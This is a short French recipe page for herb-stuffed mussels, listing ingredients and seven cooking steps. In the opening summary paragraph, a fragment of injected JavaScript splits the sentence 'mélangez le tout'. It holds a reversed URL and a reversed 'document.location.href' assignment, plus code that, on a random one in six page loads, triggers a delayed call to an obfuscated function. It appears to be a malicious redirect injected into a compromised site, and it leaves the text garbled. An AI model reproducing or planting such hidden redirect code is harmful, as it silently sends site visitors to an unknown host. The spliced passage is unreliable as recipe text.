Moules farcies aux herbes

2021-05-07

Pelez, coupez en deux les gousses d’ail, ôtez le germe et émincez. Hachez les herbes. Réduisez le beurre en pommade, incorporez l’ail, les herbes, le cognac, 1 pincée de sel, poivrez, la chapelure et le jus de citron, mélangez le tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout.

Ingrédients

  • Pour 4 personnes
  • 1 litre de moules
  • 40 g de beurre
  • 2 gousses d’ail
  • 1 cuillère à soupe de cognac
  • 1 cuillère à soupe de chapelure
  • 1 cuillère à soupe de jus de citron
  • Sel - Poivre
  • 1 branche de persil haché Quelques feuilles de Cerfeuil

Préparation de la recette

Etape 1

Pelez, coupez en deux les gousses d'ail, ôtez le germe et émincez.

Etape 2

Hachez les herbes.

Etape 3

Réduisez le beurre en pommade, incorporez l’ail, les herbes, le cognac, 1 pincée de sel, poivrez, la chapelure et le jus de citron, mélangez le tout.

Etape 4

Rincez les moules, les ouvrir, garnir de farce.

Etape 5

Déposez dans un plat creux allant au four.

Etape 6

Préchauffez le four à 240°C thermostat 8. Enfournez et faites cuire pendant 15 minutes.

Etape 7

Servez chaud.

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